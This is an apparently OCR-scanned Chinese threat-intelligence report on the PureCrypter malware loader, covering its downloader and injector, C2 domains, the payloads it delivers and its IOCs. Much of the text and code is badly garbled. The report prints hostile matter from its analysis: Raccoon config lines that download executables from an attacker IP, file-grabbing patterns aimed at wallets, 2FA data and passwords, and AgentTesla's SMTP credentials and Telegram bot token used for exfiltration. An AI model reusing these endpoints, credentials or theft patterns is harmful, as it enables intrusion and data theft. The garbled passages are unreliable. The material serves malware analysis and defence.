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ERN B E bomet T TAESF |, MtE)EFloader2FHE . IRIEEFEMmalwaredLt | loaderfhF5% 2z 4
ETEFERKMT , BERRBEYS L TEIEITHEREERM. RIBRITIVE , K& loader
AN, EATMHT NRIEZ BFESBERR. M ¥loaderKik ¥ B MABERARKHT F4& , TTIA
ERECEERE , SRIATBAMmalware-as-a-service (MaaS) , fREHloaderfgtt , MaaSZR BRF G
&, EROZACAIKITNE ZXEER.

AN BIERA TR BRI — N MaaSZE8 loader , "B £ APureCrypter , SFIERTEIK , Jo/atfl 710
ZENHERRIE  FRT EEANC2, HAzscalerB 2 MU FARIRER AT , ALEE M C2FUEIBHS A
BN RN VEE M PureCrypterfEi&iEsh , HITHEMFILEE.

AXESNTF :

o PureCrypterfg —#%{f FIC#RE loader , Z/020214FE3 B FE I , AEEIBEENHERIL.

o PureCrypter&EFFFLEIER , E4A{EE T B EFormbook, SnakeKeylogger, AgentTesla, Redline,
AsyncRATEFEN10Z MEB KiK.

o PureCrypter{EEZBFERES M RIR , HINZBIKC2 ML MIPLZELFA.

o PureCrypter{EBEEX (FHE R L EREEAE . ERAMMEE IR MG,

o PureCrypterflif] 1T AEBREER T BEK | ZWAEFARTE protector , EEIEAH Tloader , Hil¥E
ERX.
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TEAEASATRAEUEERBIS EH—N A,
AT

PureCrypter{$ Fi 7 packagef/l#l]l , BRI/ A]HITELA AL : downloaderfllinjector , B J&MERCH#RE , H
thdownloaderfaTx {&#%injector , AERIBIFEITRARN B ARG ZSHHI3C . KFRREN , EE BT
builder4: A downloaderfllinjector , #X f5Heikix{EREdownloader , f5& S EB#rHL25 L FEFH fTinjector ,
FHinjectorTE A KT, WREBZEE EFE |, downloadertZHARAST B & | HEATRIBFEER(K , IRBEEZ
AT FNFE R A E421E |, MinjectorW{E B T loader B % WA HBIETT |, LhaN2#tsiES . =1THER
W, EoREHEE  THELEE RKRRNEIF R HEN4E T downloaderHlinjector,

downloaderfEik

ZHER E 158 A WebClientfll DownLoadData A A {THTTIP F & | (XA E HEJHHTTP header,

Urif{config)) ;

injectorfuril@ % 2B RTF , THE N THALS FEMRREFARRTFHEIF , MFTREEED
SKHTTP payloadff 7 /&4 E,

FacadeMapper.
(mam—— > 0)

list2. (array[mm] ) ;

1K E ] A TR B 4 E/ E I PE Header,

edom S0D ni nur
eb tonna c margur
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RJEIEIT Assembly.Load IIZIK Z 4Fflinjector (.DLLIF) , WRAANZREBHARATIE , A T—HE.

TnsertProperty ( res, Bventlrzzs token)

1y property = Aszzembly. (FacadeMapper.
)

= property:
IncludeProperty | zpec, Eventlirzs reg)

. GetType ("Pplyftipfhizgltfwfxt. Pihrezhektmdzgjacivew”)

ManageProperty( i . Eventirzs counter)

Delegate. § {hction), . . .GetMethod (*Phepgghbeivlpwyld” ) ;

PureCrypterXfinjector FE{RIFIXRAXS B8 , BATERMR T LEIRZINEIE (reverse) Jwhdsh , BF gzip/E
4R, STRINEBEA , XFRISEEEH , BlbuilderfE4 A downloaderHinjectorf 7 2 2 E 1F4wAL /5
R, NEFEEITISHERNE L

T2 {E FE Agzip 4 fa & iinjectorffIF , FEMEF KT AR INGZipftimagic header : 1F 8B 08
00 .

BEEBE14E
BEEEE156
BEEEE16E
BEEEELTE
BEEEE180
BEEEE196
BEEEE1A0
BEEEE1DE
BEEEE1CE
BEEEE1DE
BEEEE1e0
BEEEELTE
BREEE200
BEEEE216
BEEER220

f&T AES , PureCrypterid X #{FFIDES, RCAEMEHEIL,
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injectorf&ik

MR AHTE R IFHinjector , £ATE WM T IRIELIE , ZHIRBIRIBREMN KN, THE—H
SmartAssembly /&% H RIFEN 4 #5102 iinjector :

= (“uE02T)

0o, 0, 0, 51, 242, 134, 38, 210, 0, 10,
145, 90, 151, 174, B0, 80, 8%, 147, 146, 83,
237, 200, 197, 90, 100, 946, 232, 98, 18, 94,
176, 98, 146, 98, 48, 202, 173, Z0Z, 42, 44,
T2, 207, 47, 46, 206, 118, 226, 208, 98, 145,
T3, 204, 208, 42, 118, 13, 247, 98, 20, 50,
227, 0. 4, 0, 0, 0, 0, 0, 5 138,
3l

£ >0 S >0

)

Random (). Next ( o . * 100000000,

)
FileInfof 3 . . SpecialFolder)
)

N EEFTR , B5ciBidReverse + GZip + Protubuf.Deserialize2H &2 , KBV XELE(SE , Z /A =iRIEACE
KWESTNE, Sdbsa. RIBEFK, HAWE , &N RIRF K payloadNENETT, AL A
MNMEA—NEER , RIRET me— N EERE , LR EE I m L payloadEN. RIBECERNARE
FEAFEANAT | {RERIHFE (Process Hollowing) &% AMFAR.

(

“uED4F.

YuE04F.

(Resources.
suE04F.
Frocezz process =

i
process = Process.
H

i

procesz = Procesa. o
H
“uED45. { . (" remotethreadsuspended /unhook: True fblockDlls: True fpid: {0} ", process.Id});

{processz. Id == Process. (3. Id)
i

Thread. (=13

i

wuE04F.
4uED45. . ("functionpointer funhook: True /blockDlls: True fpid: {0}", Process.
Thread. (=13
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& payloadFEFERIRT , fRE/ER IR TH :

LERAH Kpayload AAgentTesla , HECEFET :

host: raphaellasia.com
port:587
username: origin@raphaellasia.com
pwd: student@1980

to: origin2022@raphaellasia.com

BINREL

PureCrypter Z X ¥ injector{3 A& Jrfffdownloader P2k , B & LR, , EBABHSERNTR. T
2 KRR — LB F & .

# pattern 1
/d1/0414/net_Gzhsuovx.bmp
/d1/0528/mars2_Hvvpvuns.bmp
/d1/0528/az_Tsrqixjf.bmp

# pattern 2
/040722/azne_Bvaquebo . bmp
/04122022/net_Ygikzmai.bmp
/04122022/azne_Jzoappug. bmp
/04122022/pm_Dxjlqugu.bmp
/03252022/azne_Rmpsyfmd. bmp

# pattern 3

/Rrgbu_Xruauocq.png
/Gepst1_Mouktkmu.bmp
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/Xgjbdziy_Kglkvdfb.png
/Ankwggtwf_Bdevsqgnz . bmp
/0sgyjgne_Ymgrebdt.png
/Rrgbu_Xruauocq.png
/Gepst1_Mouktkmu.bmp
/0sgyjgne_Ymgrebdt.png
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EXNZMERITONG , TAVRIERKE Fr £ Sdownloaderft] AssmblyNamefF FEXT I K 5.,

Qi AssmblyName
Belcuesth_Ipdtbadv.png Belcuesth
Kzzlcne_Prgftuxn.png Kzzlcne
newminer2_Jrltkmeh.jpg newminer2
Belcuesth_Ipdtbadv.png Belcuesth
Nykymad_Bnhmcpgo.bmp Nykymad

my_ori_Ywenb_Yzueqpjp.bmp

my ori Ywenb

TREERNAS ERFEENZREAR

[A-Z][a-zA-Z]{7}
ET XA KL AT ALE S HEA TR K4 BE AR A PureCrypterfl) T84 T2A.
C2HUE R HT

PureCrypter&E—EH EEK , BAEF/HRNEIKC2 BHAMIPF200Z 4 |, EENREH10Z 7, EXIE
FIMRFIF | (LB EEILERK |, PureCrypterfi]downloaderfE 348 IR & FhHE 2FU A HTE downloader
Be&fER. EAC2KE , XEFEP 185.215.113.89 A NAIEFEEF XA EM— N4,

C2934T
BACHERRMEIRIC R IEIREHARS | JUEHRIIAA 4R RAE6 AT , 1 FEFTR.
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= DAY - TREND

LINE - DAY - TREND

UNIQUE(active records) SUM_UP(record's count)

HIEBRAE E ] AREN B RS E MR R 3.

W beachwood.ug
#-hubvera.ac.g
Womistitis'ug

‘‘‘‘‘‘‘‘‘‘

H-pdshcjvnv.ug

¥ malayska.ug

RERZIE KEXEI T LR Z IS AZ P , T HEEXIPTEX BRI R ER I ARAT I L.

2022-04-14 22:47:34 2022-07-05 00:42:16 22 rockrock.ug A 185.215.113.89
2022-04-21 08:22:03 2022-06-13 09:17:50 15 marnersstyler.ug A 185.215.113.89
2022-04-17 03:17:41 2022-06-10 04:31:27 2538 qwertzx.ru A 185.215.113.89
2022-04-24 02:16:46 2022-06-09 00:11:24 3 hubvera.ac.ug A 185.215.113.89
2022-04-15 23:47:43 2022-06-08 19:24:59 43 timekeeper.ug A 185.215.113.89
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2022-04-15
2022-04-14
2022-04-15
2022-04-16
2022-04-23
2022-05-02
2022-05-29
2022-04-15
2022-04-15
2022-04-15
2022-04-16
2022-04-19
2022-05-28
2022-05-10
2022-06-02
2022-04-24
2022-04-17
2022-04-25
2022-04-21
2022-04-16
2022-04-25
2022-04-15
2022-04-18
2022-04-17
2022-04-19
2022-04-16

1"

23:

21

20:
16:
22:
173
22:
03:
03:
03:
02:
23:

07:
03:
09:
00:
02:

03:
02:
02:
03:
02:
02:

134
01:
:58:
50:
23:
35:
46:
34:
09:
04:
08:
OBL:
56:
144
44:
05:
34:
08:
36:
:09:
01:
36:
21:
7
25:
27:

2022-06-08
2022-06-08
2022-06-08
2022-06-08
2022-06-07
2022-06-07
2022-06-07
2022-06-07
2022-06-07
2022-06-07
2022-06-07
2022-06-07
2022-06-05
2022-06-02
2022-06-02
2022-06-01
2022-06-01
2022-05-31
2022-05-31
2022-05-31
2022-05-30
2022-05-30
2022-05-30
2022-05-29
2022-05-29
2022-05-29

19:
15:
05:
01:
18:
04:
03:
03:
03:
03:
03:
02:
05:
e
07:
16:
01:
07:
01:
01:
03:
02:
02:
03:
02:
02:
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35
24

54

17

18
14
16
18
16

24

2191

21
14
10
17
17
15
14
16

boundertime.ru
timebound.ug
www. rockrock.ug
beachwood.ug
asdsadasrdc.ug
leatherlites.ug
underdohg.ac.ug
rockphil.ac.ug
pdshcjvnv.ug
mistitis.ug
nicoslag.ru
danwisha.ac.ug

underdohg.ug

> x> X I I I

jonescourtney.ac.ug

triathlethe.ug
qwertasd.ru
partaususd.ru

timecheck.ug

A
A
A
A

courtneyjones.ac.ug

marksidfgs.ug
mofdold.ug
check-time.ru

agenttt.ac.ug

A

A
A
A

qd34g34ewdfsf23.ru

andres.ug

asdasgs.ug

A
A

185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.
185.

A

185.
185.
185.
185.

A

185.
185.
185.
185.

A

185.
185.

215.
215.
215.
215.
215.
215.
215.
215.
215.
215.
215.
215.
215.

215.
215.
215.
215.

215.
215.
215.
215.

215.
215.

113.89

113.89

113.89

113.89

113.89

113.89

113.89

113.89

113.89

113.89

113.89

113.89

113.89
185.215.113.8¢

113.89

113.89

113.89

113.89
185.215.113.8¢

113.89

113.89

113.89

113.89
185.215.113.8¢

113.89

113.89

BIFAIEE , REESAIRIERES , BEHENMXETER , MXRARKNBRIKRZ C2HhK—1.

BT KA, FRATATL 185.215.113.89 L% IR 62.204.41.69 (3)F0 45.143.201.4

BERA  ENXATURTEXEX.
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@ htp://62.20..jGSWvgbE.php
@ -hop://62.20..9:80/request

'* 5ea0497669bc...0820f0810428
-~ |

(]
_____'..* http://62.20...]z0appug.bmp

E 62202.41.69"
- | '/. http:/162.20...Dxjlqugu.bmp

../ Techarisma.ac.ug cracksmsa.ug

s - / goldrush.ug
s mEER Yo
“45.143.201.4
A

) g ‘backgrounds.pk
rey D

» P payment-validation.click

v
@ - htp:/fpayme...sitftransfer
/@® htip://payme...ransfer/bmo

@ | @ _htpil/payme...ransfer/cibc
— @ @ hups:/fpaym...ransfer/bnc

http/ftelus...account.com/
http/ftelus...ccount.com/r

http://telus...c6028e/login
~httpiitelus...5b558783Veel

%4 200.099.64.76

&N

PureCrypter3k f T downloader+injectorfKIXUERA S , SIEWILH G BEEEE |, MY TEEHRESR LY
my—¥ , mEEERAER R 2R, WmEmEFERIgRinjecor , XEAGHMEE BRI, MEEHE
downloader{&EHEXHM T 7 ARATHK |, FKITERINB BT ba2exedWFFE IR AT, FHVBSH
powershellflA<loaderf) A=, 454 Godzillag & loaderEZfh Az , XL RS M KRNER M E
PureCrypterfh{EHEE R BRIRNR R &, 1658 MIRITEZE AIME S PureCrypterf&#%Raccoon , & #H—%
{£3%Azorult, Remcos, PureMiner, PureClipperf]Zfi,
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~PureCrypter

HTTP/1.1
X-www-form-urlencoded)

No. ~ Time Source Destination Protoco Length Info

178 51.358511 172.16.1.132 185.215.113.89 HTTP 142 |GET /d1/8528/net_Akqwbsob.png
l. 460 70.833084 172.16.1.132 192.248.184.34 POST 7 ATTP/1.1_ (application
472 71.954681 102.248.184.34 172.16.1.132 HTTP 943|HTTP/1.1 200 OK (text/html)
477 72.307012 172.16.1.132 94.158.247.24 HTTP 230/GET /aN7iD0q06kT5bK5bQ4eR8FE1xP7hL2vK/nss3.d1l HITP/1.1

Raccoon

grbr_DESKTOPtxt :%USERPROFILEX\Desktop|*.txt|-|160]|1|@|files\n

grbr_Recent :%userprofile¥%\AppData\Roaming\Microsoft\Windows\Recent|*.doc*, *.txt, *.x1s|*recycle*, *windows*|1024|0|1|files\n

grbr_Authy:%userprofile%\AppData‘\Roaming\Authy Desktop\lLocal Storage\leveldb|*MANIFEST*,*.ldb, *log*, *lock*, *.txt, *current*, | *recycle*,’

grbr_Winauth:%userprofile%\AppData\Roaming\WinAuth|*.xml, *winauth*, | *recycle*, *windows*|1024|@|0|files\n

grbr_KdbxAxxUtc :%USERPROFILE%|* . kdbx, * .axx, *UTC--*|*recycle*, "windows* |1024|1|0|files\n
[truncated]grbr_Desktopfiles:%USERPROFILE%\Desktop|*password*, *wallet”, *seed*, *bitcoin*, *key*, *2fa*, *crypto*, *coin*, *private*, *mnemoni
[truncated]grbr_Documentsfiles:%USERPROFILE%\Documents|*password*, *wallet*, *seed*, *bitcoin*, *key*, *2fa*, *crypto*, *coin*, *private*, *mn¢
[truncated]grbr_Downloadsfiles :%USERPROFILE%\Downloads | *password*, *wallet*, *seed*, *bitcoin*, *key*, *2fa*, *crypto*, *coin*, *private*, *mne
[truncated]grbr_Pictures:%USERPROFILE%\Pictures|*password*, *wallet*, *seed*, *bitcoin*, *key*, *2fa*, *crypto*, *coin*, *private*, *mnemonic*,

ldr_1:http://185.215.113.89/azne.exe |RTEMP%\ | exe\n _

ldr_1:http://185.215.113.89/pm.exe|%TEMP%\ | exe\n ,——-—"' Raccoon payloads

ldr_1:http://185.215.113.89/cc.exe |%TEMPX\ | exe\n

ldr_1:http://185.215.113.89/rc.exe | %TEMP%\ | exe\n

TENMBIAHEUERTFIE,

XA FEE LG R _EB R , downloadertE i 1E 3 Bat2ExelRGBERTEHITIERE ., KEEITHRHRTF
ERBEPHES R BRI mpE R T , BidstartbaSkfit k1547, BMIEmpE R THXHENTHE :

71 al 20227711 12:43

7, a2 2022/7/11 12:40

B a3 2022/7/11 12:43

E Revo.Uninstaller.Pro.4.0.0-Patch.exe 2022/7/11 12:43

start.bat 2022/7/11 12:36
start.batdgSTELN :

taller.Pro.4.0.0-Pat

EBANDITAREIF | InkSTHE AR Bshpowershel T EE 4.
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F al

=EoSich RiFATRRF

HirtiE: vi.0

BHR(T): ring(‘http://ftimekeeper.ug/pps.ps17;calc $m

RS SESYSTEMROOT% System32\WindowsPowerSh

K x
ETATR): B ME W
EHiEO) Jywj¥ubc

Powershellfi£f%H — /N base644RFZHIVBS loader :

VBS loader#F—## filt—Ndownloader , 3@ idshellcodeiz1T/a#&. ZdownloaderfliE8UR{S B EMRIZIERIR
| BFEFE S Fdownload url , 20 EIFT7R.

ID1
D2
D3
Address 00004148
Offset 00003148
Size 0000013¢

B st [ Unicode [ C
- R Eic FirE

4148 0000013c A |ol1]lolololo]Mete e orite |0|True|False [False |0]0lhttp://google.com |0 Temp | +-http:/fmomomolastik.ug/asdfg.exe-Temp+Yes

BRI 1T AR £ 1 Zdownloaderds £ 4] Meteorite , _FE|F fjurl#i Xt PureCrypterflldownloaderté
o, TENEETRENTE
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No. Time Source Destination Protoco Length Info Powershell downloader
82.548338 .16.1.121 .215.113.89 125 GET /pps.psl HTTP/1.1
i 358 84.701822 172.16.1.121 185.215.113.89 HTTP 124 GET /pps.psl HTTP/1.1
1785 114.873412 172.16.1.121 185.215.113.89 HTTP 289 GET /zxcv.EXE HTTP/1.1
1851 116.589436 185.215.113.89 1/2.16.1.121 ATTP 1665 AT TP/1.1 200 0K
1854 116.993735 172.16.1.121 185.215.113.89 HTTP 289 GET /asdf.EXE HTTP/1.1
1895 118.721391 185.215.113.89 172.16.1.121 HTTP 7505 HTTP/1.1 200 0K
1900 119.652180 172.16.1.121 185.215.113.89 HTTP 290 GET /asdfg.exe HTTP/1.1
1960 120.775426 185.215.113.89 172.16.1.121 HTTP 1665 HTTP/1.1 260 0K PureCrypter
1963 120.914318 172.16.1.121 185.215.113.89 HTTP 290 GET /zxcvb.exe HTTP/1.1
2055 142.657536 172.16.1.121 185.215.113.89 HTTP 142 GET /d1/0414/net_Gzhsuovx.bmp| HTTP/1.1
2058 142.692530 172.16.1.121 185.215.113.89 HTTP 142 GET /d1/0414/net_Gzhsuovx.bmp| HTTP/1.1
2061 142.714794 172.16.1.121 185.215.113.89 HTTP 142 GET /d1/0414/net_Gzhsuovx.bmp| HTTP/1.1

x#&payload_f)Mars Stealer , c2: rockrock.ug/gggate.php , BLE{SEL0F:

start: 212 length: 212 -
ande o : ||
Input 1en;r2F§ 21_% T + O :—'l B =

MK FDF 8MXx FDVRRGXQAVILb1I8RG1zY 20y ZHwwWFCVBUFBEQVRB IVxkaXNjb3 JkXExvY2FsIFN@b3IhZ 2V FCp8MXwwfDBBVEY s ZWdy YW1 BMHWI1QWVBQREFUQSY
cVGVsZWdyYWBgRGVza3 Ry c Fx@ZGFeYVxBKkQ4Nz dGNzgz RDVEMBVGOEMgLCptYXAqLCpjb25makld zKnwx FDBBMHW=

start: 159 time: 2ms
Output end: 159 length: 158 [ |_|:| | ra
1

length: @8 lines:

1|1|1]|1|1|5gD1PuVKoR|Discord |8 |%APPDATAR \discord\Local Storage\|*|1|@|8|Telegram|e|%APPDATAR \Telegram
Desktop\tdata\ | *D877F783D5D3EFAC*, *map*, *configs* |1]|8| 8|

2, “VBS/Powershell + PureCrypter” {£i&PureMiner

WRKIC2A 89.34.27.167 , A A—VBSHIZA T E Powershellfi4s , T2 VBSEIAHHIF.

(MLHTTP . open
MLHTTP.send( )}
ILHTTP.Stat

(MLHTTP. ResponseBo

VWindow

1M LA«

Time Source PureCrypterDWn]i;oader Frotocel Length Info

o
2022-06-23 20:37:10.865038 172.16.1.104 89.34.27.167 HTTP TU'GET /check.exe HTTP/1.1 |
2022-06-23 20:37:23.164431 172.16.1.104 89.34.27.167 HTTP 134|GET /check Dxmeysdl.bmp HTTP/1.1 |

PureCrypter injector

Powershell lZ<a0F :
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[Runtime.InteropSen DiWriteInt32([R vpe( {03 {1343 {6} {a4}"
( +'t'+'1lon. 5 L ' ‘men*+'t*), "1 GetField(

Powershell fJ A 2% 31z 4T PureCrypterfldownloaderf&ilt , fE&ELKEL T &K injector , X B LLEAFIRRZ [
Discord3k4y & injector:

T oarray[il);

& f{payload AjPureMiner , C231F:

185.157.160.214
pwn.oracleservice.top

pwn. letmaker . top

port: 8080, 8444

3, FIAKH.NET downloader{£#% AgentTesla, RedLine

Zdownloaderzx ik kAN , HiZ1TRIRIFED AL ANNEL , H A stageOREH TR MNE IR Kstage LG EAEER

frmEmpMan. Completeds

= frmEmpMan.

frmEmplan. ttt ==

frmEmpMan. N

[1 { ConstructionCall }};

stage WRHIZET T S HREINE T — M Bt stage2 :
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stomdttributeProvider) ;

stage2fR P B —/NCrypter(E K 4) , SPureCrypter/N[F] , R IEHE T TEINEE , AR TEEE
PureCrypterf{Jdownloadert&l , BJE]F ] puty.exe ,
SuldD20, Zuld020;)

WebClient () ;
{1 + yad020;

{ruum )

bnh20EF AP e Tnw W TpIv. [ A
i VIpIV. (webClient. “ub020, text):
APeTrv W TpIV. [ :

EFAP e T T TpIW.

MBI SR EGEIRM | key Al bnvFGkCKInhQ , AEREIEINT :

¢

[1 \ubD20, Yu0020)

-G
\u0020.

\al020. 1= . ({ . ({int) (A\u0020[i % \u0020. 1) o (\ub020[{i + 1) % \ul020.

{ \u0020, \u0020.

\ul020;

R SKIR %% T B 5Kk

stage2f]payload_A)AgentTesla , c224]
https[:1//api.telegram.org/bot5421147975:AAGrsGnLOHZ fFv7yHuj3hZdQSOVmPodIAVI/sendDocument
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PureCrypterf{]payload ARedLine , c224]

IP: workstation2022.ddns.net:62099
ID: cheat

B

PureCrypterfg —MBIETEEKAKIMaaS KR fbotnet , EEEHE T 102 FZIMtLR KR EEERIL.
PureCrypterffE#HF AL BILR R R , HERNAFAED— MEREWHKEEAR , MiIHERS X
A, BEMPRIR , Mt FEREEFREREERE. B PureCryptert{ERTES —EARIFHE
M, SEE—HHEM C2FEBIMEERMEIENNBIMEIRET . BEBNSBERIFTRITE | R EHRH
HIBMEE .

BXARTKA

BGBAEE |, ] PATE twitter 53 1813 Miff4netlab[at]360.cnfX RFKA(].

I10C
MD5
Family Name MD5
Bat2Exe Downloader 424ed5bcaae063a7724c49cdd93138f5
VBS downloader 3f20e08daaf34b563227¢c¢797b4574743
Powershell downloader c4c5167dec23b6dd2d565cd091a279e4
F4%0.NET Downloader 9b70a337824bac612946da1432295e9c
C2 &URL

agenttt.ac.ug
andres.ug
asdasgs.ug
asdsadasrdc.ug
beachwood.ug
boundertime.ru
check-time.ru
courtneyjones.ac.ug
danwisha.ac.ug
hopeforhealth.com.ph
hubvera.ac.ug

jonescourtney.ac.ug
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leatherlites.ug
marksidfgs.ug
marnersstyler.ug
mistitis.ug
mofdold.ug
momomolastik.ug
nicoslag.ru
partaususd.ru
pdshcjvnv.ug
qd34g34ewdfsf23.ru
qwertasd.ru
qwertzx.ru
raphaellasia.com
rockphil.ac.ug
rockrock.ug
timebound.ug
timebounder.ru
timecheck.ug
timekeeper.ug
triathlethe.ug
underdohg.ac.ug
underdohg.ug
www. rockrock.ug
212.192.246.195
37.0.11.164:8080
80.66.75.123
89.34.27.167
91.243.44.142
185.215.113.89
62.204.41.69
45.143.201.4

https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png

Source: https://blog.netlab.360.com/purecrypter

Page 16 of 16


http://raphaellasia.com/
http://raphaellasia.com/
http://raphaellasia.com/
http://www.rockrock.ug/
http://www.rockrock.ug/
http://www.rockrock.ug/
http://www.rockrock.ug/
http://www.rockrock.ug/
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png

